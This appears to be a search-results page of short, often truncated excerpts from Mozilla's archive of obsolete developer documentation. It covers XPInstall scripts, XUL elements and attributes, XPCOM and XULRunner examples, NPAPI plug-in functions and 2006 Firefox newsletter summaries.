file. you can use this method to launch an installshield installer or any install executable file stored in a xpi file. executing installed files note: if the file you wish to execute is one you are installing (as opposed to an installer executable that you plan to delete once it runs), then use the execute method on the file object instead. file.execute() executes an installed file (such as a browser) after it has been installed, and is typically placed at the end of an install script and outside of the main install block. the install object's execute method, on the other hand, deletes the executable from its temporary location once it has finished. the optional blocking argument, when set to true, specifies that the installation should wait for this executable to finish before processing t...
... other hand, deletes the executable from its temporary location once it has finished. the optional blocking argument, when set to true, specifies that the installation should wait for this executable to finish before processing the next queued install command. if you do not set this flag and launch an executable that is not a part of the installation, you will raise an error when you restart the browser. passing arguments to the executable the args parameter, when present, passes a string to the executable as command-line parameters. the following line, for example, passes the "-c" command-line parameter to the executable: err = file.execute(myfile, "-c", true); when you want to pass more than one parameter to the executable itself, however, you must format the args string in a particular w...
refreshPlugins - Archive of obsolete content
when you use this method in an installation script, as the example below demonstrates, you can install new plug-ins and use them to display the requested media in a web page without interrupting the experience of the user. ...
...l object syntax int refreshplugins( [ areloadpages ] ); parameters the refreshplugins method has the following parameter: areloadpages areloadpages is an optional boolean value indicating whether you want to reload the open web pages after you have refreshed the plug-in list. returns nothing. description refreshplugins lets you register new plug-ins without having to restart the browser. when you use this method in an installation script, as the example below demonstrates, you can install new plug-ins and use them to display the requested media in a web page without interrupting the experience of the user. note that refreshplugins must be called after the performinstall method that initiates the actual installation. example // install dll into plugins // install xpt into comp...
Installer Script - Archive of obsolete content
1024); 9. // do the verification 10. if(spaceavailable < spacerequired) 11. { 12. logcomment("insufficient disk space: " + dirpath); 13. logcomment(" required : " + spacerequired + " k"); 14. logcomment(" available: " + spaceavailable + " k"); 15. return(false); 16. } 17. return(true); 18. } 19. var srdest = 17311; 20. var err = initinstall("netscape seamonkey", "browser", "6.0.0.2000110807"); 21. logcomment("initinstall: " + err); 22. var communicatorfolder = getfolder("program"); 23. logcomment("communicatorfolder: " + communicatorfolder); 24. if (verifydiskspace(communicatorfolder, srdest)) 25. { 26. err = adddirectory("program", 27. "6.0.0.2000110807", 28. "bin", // jar source folder 29. ...
... { 37. var ignoreerr = dircreate(pluginsfolder); 38. logcomment("dircreate() returned: " + ignoreerr); 39. } 40. else 41. logcomment("plugins folder already exists"); 42. var cf = getfolder("chrome"); 43. registerchrome(content | delayed_chrome, getfolder(cf,"toolkit.xpi"),"content/global/"); 44. registerchrome(content | delayed_chrome, getfolder(cf,"browser.xpi"),"content/communicator/"); 45. registerchrome(content | delayed_chrome, getfolder(cf,"browser.xpi"),"content/editor/"); 46. registerchrome(content | delayed_chrome, getfolder(cf,"browser.xpi"),"content/navigator/"); 47. registerchrome(skin | delayed_chrome, getfolder(cf,"modern.jar"),"skin/modern/communicator/"); 48. registerchrome(skin | delayed_chrome, getfolder(cf,"moder...
XPJS Components Proposal - Archive of obsolete content
upport xpcom components written in javascript. now, you might ask: "isn't that what xpconnect does?" and i would answer that xpconnect is necessary, but not sufficient to the task. xpconnect provides the mechanisms for communication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window. xpjs will provide that infrastructure. so what does this mean? the xpjs component system will support implementing xpcom services, factories, and components in javascript. it will support service and factory registration. these components will be independent of web content and browser windows. they will run from the user's disk just like native components. how will it work? the over...
...isterself (optional) nscanunload (optional) each .js file might implement one or more components. we will have one native module - called the xpjsmanager - which holds this system together. the xpjsmanager is in charge of loading these .js files, helping them register themselves, and acting as an intermediary between the xpcom component manager and the js code. xjs components are not run in browser windows. each .js file (let's call it a module) is started up and run in the context of a relatively 'raw' js global object. the standard (non-dom) js classes will be available. the xpconnectcomponents object will be available. and some additional yet to be defined objects may be available. the xpconnectcomponents object allows access to the whole repository of native and js xpcom components, s...
SVG And Canvas In Mozilla - Archive of obsolete content
the mozilla project will meet this challenge with two major new features to be delivered in firefox 1.5: integrated svg and a new canvas html element. work is also underway "under the hood" on a new unified graphics architecture that uses 3d graphics processors to accelerate all rendering. ...
...the mozilla project will meet this challenge with two major new features to be delivered in firefox 1.5: integrated svg and a new canvas html element. work is also underway "under the hood" on a new unified graphics architecture that uses 3d graphics processors to accelerate all rendering. ...
buttons - Archive of obsolete content
tional button. you can set its label with the buttonlabelextra2 attribute and its command with the ondialogextra2 attribute. note: if you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single comma). ...
...lled by the value of the boolean preference browser.preferences.instantapply. if it is set to true any changes to settings are supposed to be applied immediately. the accept button is therefore unnecessary and is hidden. the cancel button might be shown as an additional possibility to close the dialog in this situation (windows and linux) or might be hidden, too (mac os). the default setting of browser.preferences.instantapply currently is true on linux and mac os and false on windows (which however might or might not change soon, see bug 738797 and bug 1037225). ...
smoothscroll - Archive of obsolete content
...
... ...
Attribute (XUL) - Archive of obsolete content
hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclos...
...vert ontextreverted onunload onwizardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets templa...
Deprecated and defunct markup - Archive of obsolete content
of the information on the tags below may be out of date, but is provided here for historical reference and to help anyone who comes across them in old code or documentation. ...
...colgroup> (former name for <treecols> <treecolpicker> (internal use only; part of xbl for <tree>) <treefoot> (old/experimental and unsupported xul tags) <treeindentation> (old/experimental and unsupported xul tags) was a part of the old <tree> that predated <outliner> that was not converted to <listbox>--neil 03 march 2011 <treeicon> (old/experimental and unsupported xul tags) <treerows> (internal use only; part of xbl for <tree>) attributes @debug="true" provided struts and springs around boxes to facilitate identification of flex issues but does not seem to work now you need a special debug_layout build --neil 03 march 2011 references xul element reference by neal deakin rapid application development with mozilla, by nigel mcfarlane ...
How to implement a custom XUL query processor component - Archive of obsolete content
we are not real...
...we are not really using the datasources in our sample component, so we set it to a dummy value. an empty string would be ok too. the querytype is important. it is used to create an instance of our xpcom object. ...
List of commands - Archive of obsolete content
tcharprevious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_movepagedown cmd_selectpageup cmd_selectpagedown other commands the following list other commands (prefixed by cmd_ or browser:) which have not been categorized here yet (though they are in the alphabetical list below): http://lxr.mozilla.org/seamonkey/sou...baroverlay.xul http://lxr.mozilla.org/seamonkey/sou...t/navigator.js http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul http://lxr.mozilla.org/seamonkey/sou...onaltoolbar.js http://lxr.mozilla.org/seamonkey/sou...rceoverlay.xul http://lxr.mozilla.org/sea...
...sou...oomoverlay.xul http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul http://lxr.mozilla.org/seamonkey/sou...ark.properties http://lxr.mozilla.org/seamonkey/sou...kmarks-temp.js http://lxr.mozilla.org/seamonkey/sou.../bookmarks.xml http://lxr.mozilla.org/seamonkey/sou...rksoverlay.xul http://lxr.mozilla.org/seamonkey/sou...okmarkstree.js list of commands (listed alphabetically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_exp...
getNotificationBox - Archive of obsolete content
...
... ...
getRowCount - Archive of obsolete content
...
... ...
Extensions - Archive of obsolete content
, the new item might not appear at the end of the menu but before a menuitem added by another extension, depending on the order in which the overlays are applied. as you cannot predict this order, you should not rely on any menuitems being in particular positions in the presence of other extensions. ...
...instead of having separate context menus depending on what type of element was the target of the context menu, only one context menu is used and items that don't apply to that type of element are hidden from the menu as needed. thus, you can add items to the firefox context menu by overlaying this single menu. ...
Manipulating Lists - Archive of obsolete content
itematindex() function to do the reverse. the nsidomxulmultiselectcontrolelement interface also provides methods for modifying the selected items. for instance, the additemtoselection() function adds a new item to the set of selected items, without clearing the existing selection. the removeitemfromselection() function removes a single item from the selection. list scrolling if there are more rows in the listbox than can be displayed, a scroll bar will appear to allow the user to scroll the list. the scroll position may be adjusted using a couple of listbox methods. the scrolltoindex() method scrolls to a given row. this listbox will scroll such that the row will be the top row visible, unless the row is near the end of the list of items. the ensureindexisvisible() method is similar in th...
... as an argument instead of an index. compare the effect of both functions at different scroll positions in this example: example 5 : source view <button label="scrolltoindex" oncommand="document.getelementbyid('thelist').scrolltoindex(4);"/> <button label="ensureindexisvisible" oncommand="document.getelementbyid('thelist').ensureindexisvisible(4);"/> <listbox id="thelist" rows="5"> <listitem label="1"/> <listitem label="2"/> <listitem label="3"/> <listitem label="4"/> <listitem label="5"/> <listitem label="6"/> <listitem label="7"/> <listitem label="8"/> <listitem label="9"/> <listitem label="10"/> <listitem label="11"/> <listitem label="12"/> </listbox> next, we'll look at xul box objects. « previousnext » ...
XPCOM Examples - Archive of obsolete content
el="window"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> a window menu will be created with a list of all the open windows. try this example by opening a number of browser windows and you'll see that they are all listed on the menu. window mediator component this is fine for displaying a list of open windows, but we would like to enhance this so that clicking on the menu item will switch to that window. this is accomplished by using the window mediator component. it implements the interface nsiwindowdatasource. the code below shows how to get a component which im...
...id attribute as the resource. the function getwindowforresource() takes the resource and returns a window that matches it. this window, stored in the switchwindow variable, is the same as the javascript window object. this means that you can call any of the functions provided by it, one of which is the focus() function. cookies next, we will get a list of cookies that have been saved in the browser. the cookie service can be used for such a purpose. it implements the nsicookiemanager interface which can be used to enumerate over all of the cookies. here is an example which populates a menu list with the names of all of the cookies set from mozillazine. <script> function getcookies() { var menu = document.getelementbyid("cookiemenu"); menu.removeallitems(); var cookiemanager = comp...
column - Archive of obsolete content
it is common to use columns only to define width and flexibility for the grid column and not place elements directly inside the column. more information is available in the xul tutorial. ...
...fore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, rows, row ...
dialog - Archive of obsolete content
1 attribute. extra2: a second optional additional button. you can set its label with the buttonlabelextra2 attribute. note: if you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single comma). ...
... defaultbutton type: string normally this attribute should not be set, but if it is, it specifies the default button in the dialog. ...
editor - Archive of obsolete content
part of the chrome. xul applications loaded via a url from a web server will not be able to access most of the features of the editor. see the rich text editing and midas pages for more information about gecko's built-in rich text editor. ...
...itor which is used to initialize the editor. you would not normally need to use this. editortype type: one of the values below the type of editor to use. this value will be overridden depending on the content type of the document in the editor. html an html editor. text a plaintext editor. webbrowserfind type: nsiwebbrowserfind this read-only property contains an nsiwebbrowserfind object which can be used to search for text in the document. webnavigation type: nsiwebnavigation this read-only property contains the nsiwebnavigation object for the document. most of its methods are callable directly on the element itself, such as goback and goforward. it als...
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns commandset command conditions content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcorne...
...menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcorner separator spacer splitter stack statusbar statusbarpanel stringbundle stringbundleset t tab tabbrowser tabbox tabpanel tabpanels tabs template textnode textbox titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell treechildren treecol treecols treeitem treerow treeseparator triple v vbox w window wizard wizardpage ...
notificationbox - Archive of obsolete content
the notification element is used for each notification, and will be created automatically for each item. each notification will slide in and out as needed. this element is used, for example, to implement the yellow information bar in various firefox windows. the notification box is a vertical box which may have children. ...
...notifybox = chromewin.getnotificationbox(notifywindow) notifybox = getnotificationbox(notifywindow) // applies to current context's window object here, chromewin is the xul window (usually just window), and notifywindow is the web content window for the tab you want to find the notification box for. also it is possible to call function with the same name (they are different) of global object gbrowser: notifybox = gbrowser.getnotificationbox() examples <notificationbox flex="1"> <browser src="http://www.mozilla.org"/> </notificationbox> there is a more complex code available in the code snippets area. properties currentnotification, allnotifications, notificationshidden methods appendnotification, getnotificationwithvalue, removeallnotifications, removecurrentnotifi...
preference - Archive of obsolete content
as the user interface is modified. inverted type: boolean for boolean preferences, if this attribute is set to true, it indicates that the value of the preference is the reverse of the user interface element attached to it. for instance, checking the checkbox disables the preference instead of enabling it. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. overview an onchange attribute is an event listener to the object for the event change. a change event is fired in different ways for different xul input elements as listed below: onchange type: script code textbox when enter key is pressed radio/check box when the state is changed se...
...te bug 451025.) inverted type: boolean gets and sets the value of the inverted attribute. locked type: boolean if true, the preference has been locked and disabled in the system configuration, preventing the value from being changed. this property is read-only. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. preferences type: element reference to the containing preferences element. readonly type: boolean if set to true, then the user cannot modify the value of the element. tabindex type: integer gets and sets the value of the tabindex attribute. type ...
promptBox - Archive of obsolete content
note: this is largely an implementation detail; if you're developing an add-on, you shouldn't need to tinker with this. you should use the window.alert() method or the nsiprompt interface instead. see using tab-modal prompts for details. ...
...losecallback ); parameters args arguments for the prompt. onclosecallback the callback routine to be called when the prompt is closed. return value an nsidomelement object representing the new prompt. removeprompt() removes an existing prompt. void removeprompt( nsidomelement aprompt ); parameters aprompt the prompt to dispose of. listprompts() returns a list of all the prompts on the tabbrowser. nodelist listprompts( nsidomelement aprompt ); parameters aprompt this parameter isn't used; i don't know why it's even there. return value a nodelist containing all of the prompt elements on the tabbrowser. ...
row - Archive of obsolete content
Archive › Mozilla › XUL › row
each child of the row element is placed in each successive cell of the grid. the row with the most child elements determines the number of columns in each row, which may be smaller or larger than the number of column elements defined in the grid. more information is available in the xul tutorial. example see grid for an example. ...
... ...
scrollbar - Archive of obsolete content
operties | methods | related ] when a container's contents which are larger that the size of the container, scroll bars may be placed at the side of the container to allow the user to scroll around in the container. the scroll bar may also be used independently when a numeric value or percentage needs to be selected by the user. the user can adjust the position of the scroll bar by clicking arrows on either end of the scroll bar or by dragging the scroll bar thumb around. more information is available in the xul tutorial. attributes curpos, increment, maxpos, pageincrement examples <scrollbar curpos="5" maxpos="50"/> attributes curpos type: integer the current position of the scrollbar, which ranges from 0 to the value of the maxpos attribute. the default value is 0. ...
...maxpos, pageincrement examples <scrollbar curpos="5" maxpos="50"/> attributes curpos type: integer the current position of the scrollbar, which ranges from 0 to the value of the maxpos attribute. the default value is 0. increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribute changes when the arrows are clicked(or scales are dragged). the default value is 1. maxpos type: integer the maximum position of the scrollbar. the default value is 100. pageincrement type: integer the amount by which the value of the curpos or value attribute changes when the tray of the scroll bar (the area in which the scroll bar thumb moves) is clicked, or when the page up or page down keys are pre...
wizard - Archive of obsolete content
e the cancancel property to indicate to the user (by disabling the cancel button) that they cannot can pagestep type: integer the index of the current page. title type: string the text to appear in the title bar of the window. windowtype type: string set to a string which can be used to identify the type of window. ...
...ype: string set to a string which can be used to identify the type of window. this might be used, for example, to distinguish between a browser window and an editor window. some of mozilla's window handling functions use this attribute to group windows of the same type together. values for window type as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype navigator:browser - looks like if window has gbrowser it has this window type devtools:scratchpad - scratchpad windows navigator:view-source - the view source windows properties canadvance type: boolean this property is set to true if the user can press the next button to go to the next page. if this property is false, the user cannot navigate to the next page. set this property to true to indic...
XUL - Archive of obsolete content
echanism for extending and customizing existing xul applications. xul periodic table this collection of xul demos used to be available as a web page, but can no longer be viewed in firefox since support for remote xul was disabled. there is a xulrunner application containing the xul periodic table which can be opened with gecko based browsers. you can get it here. see: using firefox 3 to run xulrunner applications for instructions on running xulrunner apps in firefox. view all... community view mozilla forums... mailing list newsgroup rss feed ...
... related topics javascript, xbl , css, rdf, extensions, xulrunner ...
Getting started with XULRunner - Archive of obsolete content
ude the the manifest in our chrome root. here is the application root chrome.manifest: manifest chrome/chrome.manifest step 6: set up preferences the prefs.js file tells xulrunner the name of the xul file to use as the main window. here is mine: pref("toolkit.defaultchromeuri", "chrome://myapp/content/main.xul"); /* debugging prefs, disable these before you deploy your application! */ pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); xulrunner specific preferences include: toolkit.defaultchromeuri specifies the default window to open when the application is launched. toolkit.defaultchromefeatures sp...
...ge into the \myapp folder, then start the application by: xulrunner application.ini you should now see a window that looks something like this. this particular screenshot is from ubuntu 10. alternative: run xul apps with firefox with firefox 3 and later, you can tell the firefox executable to run a xul application from the command line. the xul application will run instead of the firefox browser that normally starts. this is similar to starting a xul app using xulrunner. see using firefox to run xulrunner applications. this does not work if firefox itself was installed as a xul app - you need to use the installed xulrunner directly. further reading: there are many things you can do with xulrunner (who would have thought that? typical mozilla writing style at play here). before you ge...
MacFAQ - Archive of obsolete content
ow to implement command-line trapping when the app is already running, without getting into appleevents or c++ code. this is implemented in a pseudo "hidden window" technique and parsing the window arguments instead of command-line handlers and some of the toolkit singleton window code. ...
...en window" technique and parsing the window arguments instead of command-line handlers and some of the toolkit singleton window code. ...
nsIContentPolicy - Archive of obsolete content
ement a content policy mechanism. implementations of this interface can be used to control the loading of various types of out-of-line content, or the processing of certain types of inline content. 63 introduced gecko 1.0 inherits from: nsicontentpolicybase last changed in gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39) you can observe content that is being loaded into your browser by implementing nsicontentpolicy. this interface can be very useful if you are developing a content-aware plugin (blocking ads or altering the look of content, for example), or if you want to stop or allow user-browsed urls. warning: do not block the caller in your implementations of shouldload() or shouldprocess() (for example, by launching a dialog to prompt the user for something).") no...
...javascript). type_image 3 indicates an image (for example, <img> elements). type_stylesheet 4 indicates a stylesheet (for example, <style> elements). type_object 5 indicates a generic object (plugin-handled content typically falls under this category). type_document 6 indicates a dom document at the top-level (that is, directly within a browser tab). type_subdocument 7 indicates a document contained within another document (for example, <iframe> and <frame> elements). note: gecko uses type_internal_frame and type_internal_iframe in order to discern the difference internally. these types are mapped to type_subdocument before being passed into the implementation of the content policy and should not be used ...
xbDesignMode.js - Archive of obsolete content
le except in compliance with * the license. you may obtain a copy of the license at * http://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either express or implied. see the license * for the specific language governing rights and limitations under the * license. * * the original code is netscape cross browser design mode code. * * the initial developer of the original code is * netscape communications corporation. * portions created by the initial developer are copyright (c) 2003 * the initial developer. all rights reserved. * * contributor(s): doron rosenberg <doron@netscape.com> (original author) * * * * ***** end license block ***** */ /* xbdesignmode a javascript wrapper fo...
...design mode code. * * the initial developer of the original code is * netscape communications corporation. * portions created by the initial developer are copyright (c) 2003 * the initial developer. all rights reserved. ...
2006-11-03 - Archive of obsolete content
request to add option for removal of firefox profiles during setup or uninstall a user suggests an option to remove profiles during setup or uninstall. ...
... when the user changes a tab. ff 1.5 hiding a user adds their "two cents" about firefox 1.5 now being easily available for download. suggestion: a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has changed. xml in firefox is a major problem a user draws attention to what they think is a bug, but the developers say it's proper browser behaviour. what gui lib was used for developing firefox 2.0 ? a user inquires about what gui library is used for developing firefox 2.0. event in firefox similar to ondownloadcomplete event in ie a user asks what even can be used that is similar to the ondownloadcomplete even in ie. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to summar...
2006-11-04 - Archive of obsolete content
to add option for removal of firefox profiles during setup or uninstall a user suggests an option to remove profiles during setup or uninstall. ...
... fired when the user changes a tab. 1.5 hiding a user adds their "two cents" about firefox 1.5 now being easily available for download. suggestion: a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has changed. in firefox is a major problem a user draws attention to what they think is a bug, but the developers say it's propwer browser behaviour. gui lib was used for developing firefox 2.0 ? a user inquires about what gui library is used for developing firefox 2.0. in firefox similar to ondownloadcomplete event in ie a user asks what even can be used that is similar to the ondownloadcomplete even in ie. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-12-01 - Archive of obsolete content
visted discussion surround the mozstorage documentation. rich results for searches a proposal to implement "rich results", a set of registered sites that would provide information as it relates to a user's search. windows dde shell integration removal a call for responses or concerns regarding the removal of the dde shell integration. how do allow an internal web site to have universalbrowserwrite? a question regarding having an internal website use universalbrowserwrite on a local intranet. developping microsummary generator questions and discussion surrounding microsummaries in ff 2.0. applying extensions question regarding the proper application of ff extensions. finding out how blur() works... question regarding how to access the functionality that arises when windo...
...es in ff 2.0. applying extensions question regarding the proper application of ff extensions. finding out how blur() works... question regarding how to access the functionality that arises when window.blur() is called. ff2 not responding to click on link concerns regarding ff 2.0 not responding to button or link clicks until the button or link is clicked a second time. dual screen browsing discussion regarding browsing across dual screens and simplifying the process. suggestion for status bar suggestion that a new status bar be implemented that would have a hover>appear style of operation similar to the mac "menu". meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-27 - Archive of obsolete content
irefox 2 wont build under solaris 10 x86 october 26: alex was trying to build firefox 2 source on a solaris 10 x86 machine but was not successful with the build. he has already built firefox 1.5.0.7 on the same machine with no problems. the following is his configuration script that he used to build firefox 2 on solaris. ./configure --prefix=/export/home/alex/thunderbird --enable-application=browser --disable-tests --disable-debug -disable-auto-deps --disable-freetype2 -enable-official-branding --enable-default-toolkit=gtk2 --enable-optimize=-xo5 --enable-static --disable-shared --enable-xft --enable-svg the build tools that he used to build firefox 2 are listed in his posting along with the error that he receives when he tries to build it. alex is not sure if he is missing a library or ...
...uccessful. announcements there are no announcements this week. discussions final ff release already announced october 23rd: axel hecht posted an answer to cédric corazza posting. cédric's posting was about a french site which had already announced the availablity of ff 2.0 final release and provided download links, even though the release was on october 24. the owner of the site probably browsed on the releases/2.0 dir on the ftp and got the releases, which is kind of unpolite. cédric wanted to know if the release directory should be closed before a major release to avoid this kind of thing to happen. axel responded by stating that cédric should send them a nice note to correct that. on the same day cédric replied to axel's posting stating that he was going to forward a note to ...
2006-11-10 - Archive of obsolete content
this feature consists of creating buttons using a small program, that allows you to create shortcuts to a particular address. the button gets added to the toolbar, separate from the links. reflow branch build failed with vc 7.1 sp1 november 8th: roy received an error when he tried to reflow a branch build using vc 7.1 sp1. on the same day he posted the answer to his posting that he found in last weeks posting. click here to see the answer to the problem. ...
...t sure what he is doing wrong. november 9th: jonathan watt responded to his posting stating that he must have the wrong line endings in his mozconfig or some other script fill that he is probably using to run. ...
JS-Engine FAQ - Archive of obsolete content
an alternative would be to use built-in e4x. newly created threads in js from mozilla_1_8_branch causes to hang in windows patch from bug 351602 should fix the problem. ...
...an alternative would be to use built-in e4x. newly created threads in js from mozilla_1_8_branch causes to hang in windows patch from bug 351602 should fix the problem. ...
NPFullPrint - Archive of obsolete content
currently in use. should always be false. true: print single copy of page to the default printer. false: display print dialogs so user can choose printer, other options. platformprint platform-specific printing information. mac os: thprint ms windows: printer's device context description the npp_print function passes the plug-in a pointer to an npprint object (previously allocated by the browser). the npfullprint structure is used when the mode field of npprint is set to np_full. the pluginprinted field of this structure determines whether the plug-in prints in full-page mode or not. if you want the plug-in to take complete control of the printing process, it should print the full page and set the field pluginprinted to true before returning. if you want an embedded plug-in to simply r...
...ull. the pluginprinted field of this structure determines whether the plug-in prints in full-page mode or not. if you want the plug-in to take complete control of the printing process, it should print the full page and set the field pluginprinted to true before returning. if you want an embedded plug-in to simply render its area of the page, set pluginprinted to false and return immediately; the browser calls npp_print again with the npembedprint substructure of npprint. see also npp_print, npprint, npembedprint ...
NPN_DestroyStream - Archive of obsolete content
lug-in side plug-in api summary closes and deletes a stream. syntax #include <npapi.h> nperror npn_destroystream(npp instance, npstream* stream, nperror reason); parameters the function has the following parameters: instance pointer to current plug-in instance. stream pointer to current stream, initiated by either the browser or the plug-in. reason reason the stream was stopped so the application can give the user appropriate feedback. values: npres_done (most common): stream completed normally; all data was sent by the plug-in to the browser. npres_user_break: plug-in is terminating the stream due to a user request. npres_network_err: stream failed due to network problems. returns if s...
... request. npres_network_err: stream failed due to network problems. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description the plug-in calls the npn_destroystream() function to close and delete a stream. this stream can be either a stream that the browser created and passed to the plug-in in npp_newstream(), or a stream created by the plug-in through a call to npn_newstream(). see also npp_destroystream() npn_newstream() npp_newstream() npstream npp ...
NPN_GetURLNotify - Archive of obsolete content
syntax #include <npapi.h> nperror npn_geturlnotify(npp instance, const char* url, const char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance. url pointer to the url of the request. can be of any type, such as http, ftp, news, or mailto. target name of the target window or frame, or one of several special target names. for values, see npn_geturl(). ...
...nction and passing it the notifydata value. npn_geturlnotify() typically handles the url request asynchronously. it returns immediately and only later handles the request and calls npp_urlnotify(). this notification is the only way the plug-in can tell whether a request with a null target failed, or that a request with a non-null target completed. for requests that complete unsuccessfully, the browser calls npp_urlnotify() as soon as possible. for requests that complete successfully: if the target is non-null, the browser calls npp_urlnotify() after it has finished loading the url. if the target is null, the browser calls npp_urlnotify() after closing the stream by calling npn_destroystream(). if this function is called with a target parameter value of _self or a parent to _self, this ...
NPN_InvalidateRect - Archive of obsolete content
syntax #include <npapi.h> void npn_invalidaterect(npp instance, nprect *invalidrect); parameters the function has the following parameters: instance pointer to the plug-in instance to invalidate a portion of. invalidrect the area to invalidate, specified in a coordinate system that originates at the top left of the plug-in's content area. ...
...area. description before a windowless plug-in can repaint or refresh part of its drawing area, the plug-in must first invalidate the area with either npn_invalidaterect() or npn_invalidateregion(). npn_invalidaterect() causes the npp_handleevent() method to pass an update event or a paint message to the plug-in. after calling this method, the plug-in receives a paint message asynchronously. the browser redraws invalid areas of the document and any windowless plug-ins at regularly timed intervals. to immediately send a paint message, the plug-in can call npn_forceredraw() after calling this method. see also npn_forceredraw() npn_invalidateregion() nprect npp ...
NPN_InvalidateRegion - Archive of obsolete content
syntax #include <npapi.h> void npn_invalidateregion(npp instance, npregion invalidregion); parameters the function has the following parameters: instance pointer to the current plug-in instance. invalidregion the area to invalidate, specified in a coordinate system that originates at the top left of the plug-in. description before a windowless plug-in can repaint or refresh part of its drawing area, the plug-in must first invalidate the area with either npn_invalidaterect() or npn_invalidateregion(). ...
... of the plug-in. description before a windowless plug-in can repaint or refresh part of its drawing area, the plug-in must first invalidate the area with either npn_invalidaterect() or npn_invalidateregion(). npn_invalidateregion() causes the npp_handleevent() method to pass an update event or a paint message to the plug-in. if a plug-in calls this method, it receives a paint message later. the browser redraws invalid areas of the document and windowless plug-ins at regularly timed intervals. to force a paint message, the plug-in can call npn_forceredraw() after calling this method. see also npn_forceredraw() npn_invalidaterect() npregion npp ...
NPN_MemFlush - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary note: this function is only implemented on mac os x. requests that the browser free a specified amount of memory. syntax #include <npapi.h> uint32 npn_memflush(uint32 size); parameters the function has the following parameters: size size of memory, in bytes, to free in the browser's memory space. returns if successful, the function returns the amount of freed memory, in bytes. if no memory can be freed, the browser returns 0. description the plug-in calls npn_memflush() when it is not possible to call npn_memalloc(), for example, when calling system apis that indirectly allocate memory. to request that the browser free as much memory as possible, call npn_memflush() repeatedly until it returns 0. on the...
...en it is not possible to call npn_memalloc(), for example, when calling system apis that indirectly allocate memory. to request that the browser free as much memory as possible, call npn_memflush() repeatedly until it returns 0. on the mac, you can use this method to free memory before calling memory-intensive system calls. in general, plug-ins should use npn_memalloc() to allocate memory in the browser's memory space, since this function automatically frees cached data if necessary to fulfill the request. see also npn_memfree() ...
NPN NewStream - Archive of obsolete content
returns if successful, the function returns nperr_no_error. ...
